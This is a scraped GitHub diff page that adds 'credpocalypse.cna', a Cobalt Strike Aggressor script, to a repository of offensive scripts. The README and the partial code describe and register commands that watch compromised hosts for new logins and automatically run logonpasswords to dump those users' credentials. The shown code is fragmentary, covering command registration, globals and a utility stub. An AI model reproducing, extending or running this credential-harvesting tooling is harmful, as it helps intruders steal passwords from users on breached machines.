You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: README.md
+19Lines changed: 19 additions & 0 deletions
Original file line number
Diff line number
Diff line change
@@ -1,5 +1,24 @@
1
1
# AggressorScripts
2
2
3
+
## credpocalypse.cna
4
+
Monitor beacons and pick off users as they log in. Set the time interval (default 5m) and Credpocalypse will watch your beacons for new users in the running processes. If they aren't in the Credentials tab already, Credpocalypse will run logonpasswords.
5
+
6
+
NOTE: Your beacon will only be interrupted if logonpasswords is run. There's no callback, so I can't smother the output. :-/
"Monitor beacons for new users and steal their passwords when they login",
32
+
"Synopsis: begin_credpocalypse",
33
+
"Adds current beacon to watchlist and routinely checks for new users. When a user is in the process list but not the Credentials tab, credpocalypse runs logonpasswords on that beacon.");
34
+
beacon_command_register("end_credpocalypse",
35
+
"Stop monitoring beacons for new users",
36
+
"Synopsis: end_credpocalypse [all]",
37
+
"If run without arguments, removes current beacon from watchlist. If 'all' is added, clears whole watchlist.");
38
+
beacon_command_register("credpocalypse_interval",
39
+
"Change the interval time for Credpocalypse checks",
40
+
"Synopsis: credpocalypse_interval [time]",
41
+
"Options: 1m, 5m (default), 10m, 30m, 60m. If no time supplied, default is used.");
42
+
43
+
global('@captured_creds @watchlist $interval');
44
+
$interval = "5m";
45
+
46
+
#########
47
+
# UTILS #
48
+
#########
49
+
sub caps {
50
+
#Don't ask me how long it took to make this part work.
51
+
#But uc breaks on backslashes. Also split. Really everything breaks.
0 commit comments